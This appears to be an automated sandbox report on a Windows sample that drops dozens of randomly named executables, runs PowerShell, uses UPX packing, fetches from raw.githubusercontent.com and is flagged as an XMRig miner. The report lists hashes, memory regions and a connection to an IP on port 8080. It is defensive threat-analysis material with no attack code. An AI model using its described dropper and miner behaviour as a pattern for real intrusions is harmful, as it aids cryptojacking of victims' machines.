C:\Windows\System\TeDZNqb.exe

C:\Windows\System\DUWOZTh.exe

C:\Windows\System\DUWOZTh.exe

C:\Windows\System\jHmWssX.exe

C:\Windows\System\jHmWssX.exe

C:\Windows\System\DDTtVNr.exe

C:\Windows\System\DDTtVNr.exe

C:\Windows\System\XfamFtz.exe

C:\Windows\System\XfamFtz.exe

Network

Country Destination Domain Proto
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp

Files

memory/1612-0-0x000000013F080000-0x000000013F476000-memory.dmp

memory/1612-1-0x0000000001B20000-0x0000000001B30000-memory.dmp

C:\Windows\system\ZPeFTWK.exe

MD5 9b63a9d80d7d3b3ab933695379270354
SHA1 1ed4cda03bd94858b7ba27a3f7d952040370e278
SHA256 1e530e7ac24fa898e5ecb9adf26dbc0d84683603fec870e98ef81c3419ca5bf9
SHA512 b530d1cf298ddc009521c1bef5da4199d00f91c03fe8ef552e710e5b65f3b250175ebdd742988494107f0e31fd91eb816c432550205e8314ccc403580f2df8fd

\Windows\system\InyqDUE.exe

MD5 cdc6f9b6b97b5aca7aa6dce32eadcd97
SHA1 62d5dae7ba64700186d67bb7d564052d7621eb3e
SHA256 2f958066d2018ff24640f32e0b8a49d4b98c55b5736a920a27b7ee5ddfcbaf30
SHA512 a768332694274f26c2e6066140d3faf5983bffe410d32f2fc71a49f76fb254c8cd2383b4a6b86f483f4b8784370811b33ddb53e5927823197ec150eea42e450e

memory/2592-15-0x000000013F320000-0x000000013F716000-memory.dmp

memory/1612-14-0x0000000002E90000-0x0000000003286000-memory.dmp

C:\Windows\system\pnaHWXe.exe

MD5 4c67dac48411be004868eecef720feb9
SHA1 78814e96b6aaefa36fffc76ba89089047ce5d583
SHA256 4887d0a44686a7f5f792cb653e913537282aaf73dffa7fc95da2706a1b422529
SHA512 f00621274cb4b33eb38b71d2313ced43681c40bc16f57471833de791921d1b35fe8110f102f0049332546d5d78b57c300eba0b6797be340fcb081dc2e4fde7b5

memory/1612-25-0x0000000002E90000-0x0000000003286000-memory.dmp

memory/2316-26-0x000000013F110000-0x000000013F506000-memory.dmp

\Windows\system\qBJlzyf.exe

MD5 79087ed3e12ac01f1e45c7c46428da9f
SHA1 b4f219c3d76659211dfa9de269504d749520adb6
SHA256 c206c7b6c126e3169e7a499a232952a705ca79592ea7ee433c3fcac23a924744
SHA512 d86151cb7f28831ec4d737758c4c99f360b43dae5e7c0bfad05edd6b2e1e4e9595665d71817b90452c973a58a6b023eed96f3782e605f40926f233217625c27d

memory/1612-28-0x0000000002E90000-0x0000000003286000-memory.dmp

C:\Windows\system\TjPMQqA.exe

MD5 59cb3ad38711bebb5901c5462efb8207
SHA1 c6b199dc6f6d627adc11cb1b9b60bb0db9488b1c
SHA256 2996af8614fc1f055755ec1df0e32bd73396c5a0aa8f268eba12fa6add7588a6
SHA512 536313c83de30c8c4e63b36ef9ae814c204d2477efa746228e60fa268e57d5b53808256380b654187a74c52bfdc6714269b3031a4870235a166dc7e62901dcd8

memory/2596-33-0x000000013F430000-0x000000013F826000-memory.dmp

memory/2460-39-0x000000013F620000-0x000000013FA16000-memory.dmp

C:\Windows\system\JdVBkYA.exe

MD5 c4a8a77a8e37ea286895e08b5668eaa5
SHA1 b693f4ce109e6ab8b9eaab029379191f7dc9c8fa
SHA256 676b54cddb57446d2a99be42fb7d996a1f777cec6ea1f5a0abd5e052b5005cf6
SHA512 aabdb24a6be4dfcf5d360917c614c6e4125bab611a0f90a8b4a68634491cb7f03f0557628c275bdf8750e0bc55484bd7976d99636e2dba5888589658f40cce7b

memory/1612-53-0x000000013F980000-0x000000013FD76000-memory.dmp

memory/2456-54-0x000000013F980000-0x000000013FD76000-memory.dmp

C:\Windows\system\MQTYcJl.exe

MD5 13841a0732a7e5bb8ca1c94f96f15a27
SHA1 bbccc8176425520f4c776804983e55c9765339c6
SHA256 13d9e80e95236f7ea422cdacbe7fbb63969f40f96788cce8d4ca97c642f8c5a3
SHA512 fc128521c1b47a793835cab3edb055dd27d9c053f6332cf42bf944d0d7fca5a59996e833e07bf9ce9f9e99663d3fc78851614f4461a3849d24c519fd080c05a9

memory/2896-71-0x000000013FA60000-0x000000013FE56000-memory.dmp

\Windows\system\lKBkTHN.exe

MD5 eeb558776e038271decd551fbbd23a70
SHA1 4d813bf0952025204b346f5d4b9b59bc31077c69
SHA256 e1cfa8144159d012599d9136922dda74db65ca5efc9a88b6495f4bfc4f0f6648
SHA512 51d05fe16d8b0ee0936f2581f02235595d35bc513c197e7cc7206ba253adbf8d701b051f4646cde1f4487db81c40b78442dff9c2fa07708bbf571fb1bc7e9225

memory/1312-78-0x000000013F130000-0x000000013F526000-memory.dmp

memory/1612-80-0x0000000002E90000-0x0000000003286000-memory.dmp

memory/1612-83-0x000000013FD80000-0x0000000140176000-memory.dmp

\Windows\system\mHEBzYn.exe

MD5 e17a910c4c85d724b8779e5a86642975
SHA1 d115014d96e5d6c981cc7b11bdd0e54800bb98a2
SHA256 8a2e25e64fb4b7909db57f0dfb9b00ace785114225c97ba1d1fa590fb6b69241
SHA512 1979c3ebc733fd9276f45c7fbcb472d1eedd4082095259412d0d063a64cda98e89d6f70bf346aef8d8a55c096ca5c64c505c66ad0bb61eb94de250726c4df845

memory/1596-81-0x000000013F440000-0x000000013F836000-memory.dmp

memory/1612-79-0x000000013F080000-0x000000013F476000-memory.dmp

memory/2760-84-0x000000001B620000-0x000000001B902000-memory.dmp

memory/1612-77-0x0000000002E90000-0x0000000003286000-memory.dmp

memory/3052-76-0x000000013FB90000-0x000000013FF86000-memory.dmp

memory/1612-75-0x000000013FB90000-0x000000013FF86000-memory.dmp

C:\Windows\system\aOBhujo.exe

MD5 0fc88c8105237aa413450e3136ae5068
SHA1 884a744a1094885ccad39322f6c300e49cf2d907
SHA256 52bc5311f9dc3699817710bced7d8e28c499859fb01ad58836e7896cd5a2b8ae
SHA512 b1814dd4ad2cea9d3174fd3151ac81cb133ec7ea67a28eb1991d5ca9cf0ffc3ff1ceaeca8d9d44eead6726086abbdcff036442f76a0132fe41b177e6ff5216b6

C:\Windows\system\ocjGChp.exe

MD5 bac286a3c6668b76de114e2a95e6d2b0
SHA1 86fe374969af199fc3a6c0a8e0a7fd0f458ab733
SHA256 dbefb6073ae5e4598988d9b4e56d7ffe6e95f94d36fe809f1df340615aa1191e
SHA512 daac67667a9e1d9d360f3902104992f9f14c4ce7d692c368ea7105c487ced6b7b3b0d93a7b62eb9b222f9f9b5ad719f3ccb11abcc6df66404adf0fc22ce84279

memory/2072-46-0x000000013FDA0000-0x0000000140196000-memory.dmp

memory/1612-45-0x000000013FDA0000-0x0000000140196000-memory.dmp

C:\Windows\system\YMlOZXa.exe

MD5 1451dc87b5baa360eabbf937ae4abbe7
SHA1 dd987c54da7945ef774e83321b2ac482a9bdf5f0
SHA256 49db48258ed78ef9fc14f083cf6c8bc675f36fe1ccb9074a1eb91614f8807aa5
SHA512 01ed6fa8bdd4e08efa9341d3423489265a90f3bd548f4c2ad0f00ba0d27871af21a4ffbf2e9f0384419bc79e6ac1ff3af9d1c712dad3b26270d1cbc7773d5afe

memory/1612-38-0x000000013F620000-0x000000013FA16000-memory.dmp

memory/2528-12-0x000000013F6B0000-0x000000013FAA6000-memory.dmp

memory/2760-89-0x0000000001D10000-0x0000000001D18000-memory.dmp

memory/2504-91-0x000000013FD80000-0x0000000140176000-memory.dmp

C:\Windows\system\eVQOcWe.exe

MD5 0a65b05a821d98f9fe9b901274f4c686
SHA1 a5a82a61b56f3c604ff0c5a8476efec217fc65d3
SHA256 c870ef7445d1df92db5bdc3c4d887b4b43e4e2388696b86d7400c4fb9732371a
SHA512 bb3faa5f3e9fabb672302084ef5fb683dec0ad488e6acbaf621a6aa5b4ccdbd4bb6af7692bf2aaa9a0c8d5fea511bd9c1b2bcfa1ab889173add276428a351c1a

\Windows\system\ZVAxTeC.exe

MD5 9f41781b7fa3dd0eeab964f08064f5b6
SHA1 0725ef8ae924ef5f1b8255a9074a7ffd53064adb
SHA256 04cc8847ebca597c98f2f347a78524541c575d29806025b77c63430c2b7de069
SHA512 81131fcc2889629735a374eab1f06ce15ab39db3d8b2de68a072cb4daa650bb7f01cb8a1e46615cae1c68d66c6668c50e57f71d61ce3c0bb29dd75e80a8c214c

C:\Windows\system\zCjwMAx.exe

MD5 bc7f8d690dd4186f9a24ba698356917c
SHA1 558a54de2790343f153b528bc5ead35e55f481dc
SHA256 b3f6212cee4a90da2127f3d67486d304a072dfb7c77ad5e5ad5e7d7c50c8d4a2
SHA512 011e4db6f66deb1f2191cb38bf89ef0c6884ebd8d50293caa50fd24a8484f8dc8692182ed95bc3d586762c904728cdd659e59d466e817016c6eb1e4289e12f75

C:\Windows\system\Vfeprti.exe

MD5 02485d08c083f7577062c1d4e43b21f4
SHA1 9e6bd4b82e664c1bf7341bb39f71bf52cbf170e7
SHA256 a268cb34f15c74141c0a6304d5b668ae5a821f8c6678c50e7d2ad6f50f6ef053
SHA512 3ebc72fd5f004ff7cfe6694e06d429aba89c86bed13fc10661323b6e9f3c46b3bc93a614bd1b16d8a2efecb21528204eb505f9b4ae70f45e990e5df20147bea9

C:\Windows\system\mUrPEjF.exe

MD5 3fc89c6f5ed97f02b6dc24f4d234c409
SHA1 c79bccb888f144682b1628697ebc8cdd422e3694
SHA256 f36ee541ed9a7a712d3a662127152131dc6626079016159c799b119ae33a775d
SHA512 7fd8f5bef381661b457d0cbf51920262cd89a24dcb07efd2262c7eb4775a7ce8f1b39928ada3141cc2bb5be77195bafbdb1a1ee81c0cf2ebd30a20aff0c86118

C:\Windows\system\JZTiKCN.exe

MD5 a6d6a57beed5896eb2332e86e1f80fad
SHA1 77f4ce57ed7bb347b8fba74cd587cfdec5691751
SHA256 5aa9989f4383783ec2d1b10f59d70b197d06d1a7725f8dab52c0c20cd6ae3189
SHA512 0844ed4cbffa226a54fd5faf98d9349b23f518fd87409b14edb2b865173eecbaa956da31ef426fdec54a760b747fd843b54e6f085a80deaa9df5636383efdc54

C:\Windows\system\DFrbVwn.exe

MD5 8685dac9b68eadba68e49829ee4cb2ec
SHA1 6fb11c55697450259d2d0261131dea506b2faacd
SHA256 e30fa0f242e1aab43e4bb6f7d6ef3bcb09716aa6584d11b0e280aa51743fb549
SHA512 2bf5a295a9b7c2987c2156028b0757cb535f6602bf7739011f6e3807f91b40de1bcbf6e7126efb13515ce3559ae6e9aedb54809e63c427de569d5b29f7ee3647

C:\Windows\system\xuZhnsR.exe

MD5 cfc3d95795fe3ea304aa6beead7ec127
SHA1 154d5720002faee2cf0795282c29876fc655375d
SHA256 b966957f158b8f3b103eef8cae8ede22ad888de829f3069a36410104c5d74b68
SHA512 f48553699d87c1f2aaf65908e14a53c18deafd144c913a5dc172130b5684d3c8364727b8684b848b790a6c75f591f33d91a554d4c515d86b9bd2734b3d782e5f

C:\Windows\system\BWXlrTf.exe

MD5 25d5966465e4b02e3c423dc34448d148
SHA1 5ad30c2145539c6f673dee785113862e7e9da92d
SHA256 048a50771e25d845ae08181a12e100ba9dfb1c3d4734e8e3169ef8226d071041
SHA512 9cec0836ad4cfde4d328b5fd2f3cedb475aa68163412ed0bc22a9c4ece13f3e00d2b34902a867eb555f633f021027e67f50ffb64dd4c06078c574f284a30dcc6

C:\Windows\system\BxrOSwy.exe

MD5 f408ab3e3249a441f567409f9e5a0d50
SHA1 934b20c31b92661348c7dc41844b2051e4affc61
SHA256 acf11001883f9f64dde75119fd720e7a317a46053458e49c89a7f91e06ead526
SHA512 6f781d5396e60719fbf8a06c0e2109a454c2b06d3e62a16f0f1c4e9c16922d8e64828947fa506c0cfcc8f2588309a7304fe14a8b53b02462c2b073e0d03101f8

C:\Windows\system\YVkoAhD.exe

MD5 799cbae7f719b2677e4d962d7f03eaec
SHA1 da351809079536d17e059199e7d28f1bbf3386fa
SHA256 0f327fa5358b5acb3103fcb8db0e7c59291174b316fd2e6b6940357dc5193246
SHA512 6b7d60ee2b810d4cc85badf8afcc5b74f0f6ad166e96e0d3ea31d4ac4ded2a86e520be1afa4e28cb7e204e9620dc9d0cc50416f414aad913e6b47c361196c5ad

C:\Windows\system\lLyTidn.exe

MD5 c9f5bdcfac99d8d20b0c876736dd3a8c
SHA1 2b090b2eb55ea1b229d2e1656492a082af8e45df
SHA256 785e6946332adcab7380308eb9685184fcff4356b669249c426b37b6dfd8be3a
SHA512 505b73c16cd284220a636e5008450c713f0fe1388a6121b3fe93675b2367bad047a1f3f15d42ca748fce8984cfc345ab991ce714d438dc3343047614f97406e9

C:\Windows\system\FxqxJzX.exe

MD5 16ad20dd168fe9b3a36a4573e3239d27
SHA1 74a7f2dc7a886418c86fda9e0d9c249b859c2f38
SHA256 741906311264cb1952e9d6386369f78a1fb50a5d4ad847b87401f13b3b5869bb
SHA512 d3a62a05526e16e794cfc37003ec9233479a2aae76404abe59448fe80920e4fd019e6a485570054910dffd4f7e3e92f8935c5a68ae021f9ec8a8e76255f02ac1

C:\Windows\system\YqnVVqm.exe

MD5 7cec653b7bb0090affdde5b023f28395
SHA1 83a600a7255670e850414ce0d411150ac25772a0
SHA256 dc553f2e72be733f07a242b6ad8fadb97aaf6a12c90c3bedcd669666baa3691c
SHA512 006868a27927df2de394ec803950d8b1b8bfb8b9c55f40ef9e1142a903843f3c5ab27b9259f272991f9b3ca46d59970973454015c811658b6b4342eb7d1e1bc4

C:\Windows\system\rDVDJYr.exe

MD5 01c1a540e9178ec40260415bc294bd9f
SHA1 37ecd754a5b9657ffe0adedabcfb6125eddd5b82
SHA256 1729b124d4f57b0c8cbd83bedae6abeb8d38b6c1880a6cb13abdc86ad1955550
SHA512 1173319ce5000bde36f5ae722f4626fe699b6e9f5b7d77e9a313f977f6279997ea55ec352e9dbf3942f27c3c8d5723347e8f4a093bc3ca20c05c46df908f75ba

C:\Windows\system\XEwqcBe.exe

MD5 923a1d397f7eb266b2587a45e91a21c4
SHA1 f0d9218012110b201b0349afbe54dc09daaf2da5
SHA256 048fd9b472bac3c034c296eefc26189d17d696db856c1b5445b47e3064918ade
SHA512 0c6700383e60cfd3313c9951a2b11511ea31de8a8d83e6ba0eb448576cfde5bb490f8e56102ec7cd6a0dda559bfc29a46530d26fcd81c70bbe28409a8f241f7a

C:\Windows\system\uqupWZK.exe

MD5 7f89b51052e7fa07b4c9660c928652e2
SHA1 c412cceb4f430c1bebec01e4ad6080cc0f128033
SHA256 a9a55bfd15485b1b500a66f5b2973c40473930fff978c03d4d2ccba9f85796ae
SHA512 6545d4b89da1d86cc4114ea8d53827f4f467ac60f9aba526e5aa2322d1bf0802a5f25ac625d11af348aba8eb6bf68c120342faabb7d83fb802dbbce9752987af

C:\Windows\system\MAqYQNX.exe

MD5 cf2c88fd25030f4d4425e7472f3245f4
SHA1 834e1cfaa62a56c38fd99c714dd78c1be4f8db12
SHA256 c87b1b66cee84af5ba6293bde369d24058a5db09d995c236b824ad0bb7c28cbe
SHA512 ae946f2a624362ae1b3a475cac42d6c7582e38a3d95eff4dd16ce90f97194d2a986ec804e5e0ec7a10c0372cbf43257dd21823c381235fe841c99ad268870d5d

C:\Windows\system\WyDirGb.exe

MD5 9e7fef07b3cf12d25edb18f7e22a64e4
SHA1 a28099afd93f443f72e1195d054f564c4fe7c287
SHA256 1a94e615faf194e57bafb446dbac621aa153b03ccceeaf77082f89a553bd5fc3
SHA512 c1f45c6085971f96fc2892625d864b281093d0e5326a680f32b20cad3b4839c6d1e4954ec4e49f1c69d0282aa059cee0394614fe3ab0ac3858f16b9441c5e413

C:\Windows\system\exNwpkY.exe

MD5 7efc507e71e1ceef90a3fed9870049dd
SHA1 ce4f55119c6ee48789785a39055cbbda7706ee95
SHA256 2161328df5c2efe59213c114f7e6bfce3c60d580a9d42520bc6330d2f204f222
SHA512 3eff9298e5c8b0859e7ba94ea04c9d376b9d099b1acfe1839491b460e40464d755e8ca71511e3aede773761cd47222d239efbdb296db0a15cc30f513b0a28d81

memory/2460-1641-0x000000013F620000-0x000000013FA16000-memory.dmp

memory/2072-2454-0x000000013FDA0000-0x0000000140196000-memory.dmp

C:\Windows\system\YYKwbLM.exe

MD5 e62c4ad386dc949beba0bf2f01388d94
SHA1 3aa2ac6905cd564cb5a9988a8b54d0cedbc0cc0e
SHA256 43050da18fd18cbf086efce76a2c7c7cc2554cdeb8d529b5b4504e2af048d87e
SHA512 6c1188d317ce21839227cc6adf15a055d73b6f6d81176e51508282c6e8381bacfd07d3d75425079e896f72fc4b627ea9c64a04b74f8e445862ecf9dde3111f86

memory/2456-6211-0x000000013F980000-0x000000013FD76000-memory.dmp

memory/1596-6429-0x000000013F440000-0x000000013F836000-memory.dmp

memory/2504-7376-0x000000013FD80000-0x0000000140176000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-27 05:48

Reported

2024-05-27 05:51

Platform

win10v2004-20240426-en

Max time kernel

106s

Max time network

131s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\System\SCglpAc.exe N/A
N/A N/A C:\Windows\System\iDrFluk.exe N/A
N/A N/A C:\Windows\System\XXbNKau.exe N/A
N/A N/A C:\Windows\System\AtLhBpm.exe N/A
N/A N/A C:\Windows\System\ujCwONB.exe N/A
N/A N/A C:\Windows\System\TyDgJkk.exe N/A
N/A N/A C:\Windows\System\DtuJktR.exe N/A
N/A N/A C:\Windows\System\MrwCazZ.exe N/A
N/A N/A C:\Windows\System\LXsDsHf.exe N/A
N/A N/A C:\Windows\System\LMGaGnU.exe N/A
N/A N/A C:\Windows\System\lQZECKO.exe N/A
N/A N/A C:\Windows\System\oDPyPwK.exe N/A
N/A N/A C:\Windows\System\aDBRiFN.exe N/A
N/A N/A C:\Windows\System\iVrxwBB.exe N/A
N/A N/A C:\Windows\System\OYVnljx.exe N/A
N/A N/A C:\Windows\System\GzUIYnx.exe N/A
N/A N/A C:\Windows\System\YXNtaNb.exe N/A
N/A N/A C:\Windows\System\BlYTGgZ.exe N/A
N/A N/A C:\Windows\System\vsHteIT.exe N/A
N/A N/A C:\Windows\System\iJjTpyC.exe N/A
N/A N/A C:\Windows\System\geIqMwa.exe N/A
N/A N/A C:\Windows\System\mJowCnT.exe N/A
N/A N/A C:\Windows\System\TVsuBzf.exe N/A
N/A N/A C:\Windows\System\Kztuwft.exe N/A
N/A N/A C:\Windows\System\ydATDJM.exe N/A
N/A N/A C:\Windows\System\glRIXxF.exe N/A
N/A N/A C:\Windows\System\kmqCdmn.exe N/A
N/A N/A C:\Windows\System\hsZLJgx.exe N/A
N/A N/A C:\Windows\System\hnvrUZe.exe N/A
N/A N/A C:\Windows\System\xKYBtXF.exe N/A
N/A N/A C:\Windows\System\eOJrHYO.exe N/A
N/A N/A C:\Windows\System\VMbXAQz.exe N/A
N/A N/A C:\Windows\System\GGTjyzb.exe N/A
N/A N/A C:\Windows\System\HdpHptg.exe N/A
N/A N/A C:\Windows\System\fLBTobv.exe N/A
N/A N/A C:\Windows\System\REoVujn.exe N/A
N/A N/A C:\Windows\System\Ofrgkqz.exe N/A
N/A N/A C:\Windows\System\wNrgqWU.exe N/A
N/A N/A C:\Windows\System\pfaKEXx.exe N/A
N/A N/A C:\Windows\System\HWKRMPc.exe N/A
N/A N/A C:\Windows\System\NtBntZr.exe N/A
N/A N/A C:\Windows\System\UyRRalC.exe N/A
N/A N/A C:\Windows\System\MUqaPQi.exe N/A
N/A N/A C:\Windows\System\iFTmTfK.exe N/A
N/A N/A C:\Windows\System\nxpAQcj.exe N/A
N/A N/A C:\Windows\System\vJazGmT.exe N/A
N/A N/A C:\Windows\System\HCsFLOw.exe N/A
N/A N/A C:\Windows\System\SQOooZQ.exe N/A
N/A N/A C:\Windows\System\VESaEjr.exe N/A
N/A N/A C:\Windows\System\QvvtXpM.exe N/A
N/A N/A C:\Windows\System\sFjfdDT.exe N/A
N/A N/A C:\Windows\System\qsPdBDz.exe N/A
N/A N/A C:\Windows\System\PobOJrV.exe N/A
N/A N/A C:\Windows\System\MQbARhT.exe N/A
N/A N/A C:\Windows\System\EINDhZy.exe N/A
N/A N/A C:\Windows\System\rCpNseb.exe N/A
N/A N/A C:\Windows\System\OSgOJim.exe N/A
N/A N/A C:\Windows\System\vEdeZgO.exe N/A
N/A N/A C:\Windows\System\OApjVVk.exe N/A
N/A N/A C:\Windows\System\pUYarxG.exe N/A
N/A N/A C:\Windows\System\XBMmXrw.exe N/A
N/A N/A C:\Windows\System\hbxXIdq.exe N/A
N/A N/A C:\Windows\System\tUvNXTe.exe N/A
N/A N/A C:\Windows\System\QEfTjMw.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db-wal C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db-shm C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\System\gHXfSve.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zmRAYTn.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\uKwNBFy.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rCpNseb.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\IsZkacb.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YrGzusZ.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\kWqWuvA.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\RRpkPih.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\WjQcqHu.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\OgjrOaB.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\TyDgJkk.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\oEtbtxw.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZwkmpAX.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\XhexZau.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\pVACoYI.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SHfCZIS.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zuauQEq.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\huJqogt.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\RPUvNPq.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CnlxZyz.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\VJaQGgq.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SYWjBbv.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MqIsiGG.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QaRgMMo.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\DvCFotk.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
